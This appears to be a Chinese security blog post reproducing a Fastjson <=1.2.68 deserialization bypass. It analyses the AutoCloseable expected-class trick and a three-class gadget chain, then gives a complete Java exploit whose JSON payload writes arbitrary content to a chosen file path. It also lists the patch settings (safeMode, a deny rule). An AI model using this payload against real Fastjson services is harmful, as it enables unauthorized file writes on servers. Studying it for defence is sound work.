Fastjson<=1.2.68漏洞复现

Fastjson<=1.2.68漏洞复现

Posted by SEVENTEEN on April 11, 2022

前言

   这次来看一下Fastjson高版本利用期望类绕过的手法,虽然分析之后觉得这个版本利用起来比较困难,并且调用链并非现在的我能够挖出来的,找到有用的文章也比较少。但也算了解了一下高版本Fastjson有哪些限制,并且学到了1.2.36版本后的特性对象引用,还算是有所收获。

影响版本

Fastjson <= 1.2.68

依赖

这里用的浅蓝师傅的读写文件的payload分析。

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>
<dependency>
    <groupId>com.esotericsoftware</groupId>
    <artifactId>kryo</artifactId>
    <version>4.0.0</version>
</dependency>
<dependency>
    <groupId>com.sleepycat</groupId>
    <artifactId>je</artifactId>
    <version>5.0.73</version>
</dependency>

绕过分析

   首先来到checkAutoType方法中,可以看到这里新增了safeMode变量的判断,不过在这个版本里默认是为false,后面的版本默认为true会直接抛出异常。 接着在下面的if中判断是否在期望类的黑名单中,而AutoCloseable不在黑名单中,所以给expectClassFlag赋值为true。

   并且在这里的if会先判断是否实现或者继承于ClassLoader、DataSource、RowSet,是的话就抛出异常,然后会判断typeName是否实现或者继承于Closeable接口,是的话就添加到Mapping中。 所以到这里可以发现,必须要找实现或继承AutoCloseable接口的才能按这种思路绕过。

   基于以上思路可以找到OutputStream实现了Closeable接口,同时org.eclipse.core.internal.localstore.SafeFileOutputStream、com.esotericsoftware.kryo.io.Output、com.sleepycat.bind.serial.SerialOutput继承自OutputStream抽象类。

   先看到org.eclipse.core.internal.localstore.SafeFileOutputStream类,这里判断targetPath指定的文件不存在以及tempPath文件不存在时,调用BufferedOutputStream类和FileOutputStream类写入targetPath。

   接着来到com.esotericsoftware.kryo.io.Output类,可以看到在setBuffer方法中将payload中字符base64解码后放到this.buffer中,然后调用setOutputStream方法赋值给this.outputStream。

   最后需要利用com.sleepycat.bind.serial.SerialOutput类将缓冲区内容写入,可以看到这里super(out)触发了ObjectOutputStream的构造方法,以此来调用到了write方法来调用flush方法写入数据。 不过想不明白作者是怎么扫到maven里的某个包有这个调用链。

   除此之外,在EXP中还关注到了Fastjson提供的对象引用功能,可以看到$ref键值有类似模版渲染的东西。 看了su18师傅博客中的图大概就懂了,outputStream中$.stream指的是调用stream中的对象,也就解释了为什么路径能够在后面正常获取,而不用去考虑不同类之间的关系。 以此类推,out中的$ref键值$.writer就引用了writer中的对象,这样三个类就串在了一起。

EXP

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;

public class Fastjson7 {
    public static void main(String[] args) throws Exception{
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\n" +
                "    \"stream\": {\n" +
                "        \"@type\": \"java.lang.AutoCloseable\",\n" +
                "        \"@type\": \"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +
                "        \"targetPath\": \"/Users/JackTime/IdeaProjects/javaSecurity/src/Fastjson/pwn.txt\",\n" +
                "        \"tempPath\": \"/Users/JackTime/IdeaProjects/javaSecurity/src/Fastjson/test.txt\"\n" +
                "    },\n" +
                "    \"writer\": {\n" +
                "        \"@type\": \"java.lang.AutoCloseable\",\n" +
                "        \"@type\": \"com.esotericsoftware.kryo.io.Output\",\n" +
                "        \"buffer\": \"c2V2ZW4=\",\n" +
                "        \"outputStream\": {\n" +
                "            \"$ref\": \"$.stream\"\n" +
                "        },\n" +
                "        \"position\": 5\n" +
                "    },\n" +
                "    \"close\": {\n" +
                "        \"@type\": \"java.lang.AutoCloseable\",\n" +
                "        \"@type\": \"com.sleepycat.bind.serial.SerialOutput\",\n" +
                "        \"out\": {\n" +
                "            \"$ref\": \"$.writer\"\n" +
                "        }\n" +
                "    }\n" +
                "}\n";
        JSON.parse(payload);
    }
}

补丁

   后面的版本引入了safeMode来关闭反序列化,一旦反序列化后就会抛出异常。

# 开启SafeMode
ParserConfig.getGlobalInstance().setSafeMode(true);

# 添加黑名单
ParserConfig.getGlobalInstance().addDeny("org.openqa.selenium");

There Is Nothing Below

   

Turn at the next intersection.